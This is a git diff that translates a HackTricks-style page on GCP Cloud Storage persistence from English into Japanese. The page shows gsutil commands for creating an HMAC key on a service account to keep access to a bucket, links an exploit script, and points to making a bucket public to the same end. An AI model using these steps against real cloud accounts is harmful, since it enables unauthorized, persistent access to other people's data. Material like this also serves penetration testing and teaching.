{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
## ストレージ
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
Cloud Storageに関する詳細情報は以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Cloud Storage check:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
バケット上で永続性を維持するためにHMACを作成できます。この技術に関する詳細は[**こちらを確認してください**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create)。
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -24,19 +23,14 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
別のこの方法のエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py)で見つけることができます。
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
### 公開アクセスを与える
|
||||
|
||||
### Give Public Access
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
**バケットを公開可能にする**ことは、バケットへのアクセスを維持する別の方法です。方法については以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - ポストエクスプロイテーション
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user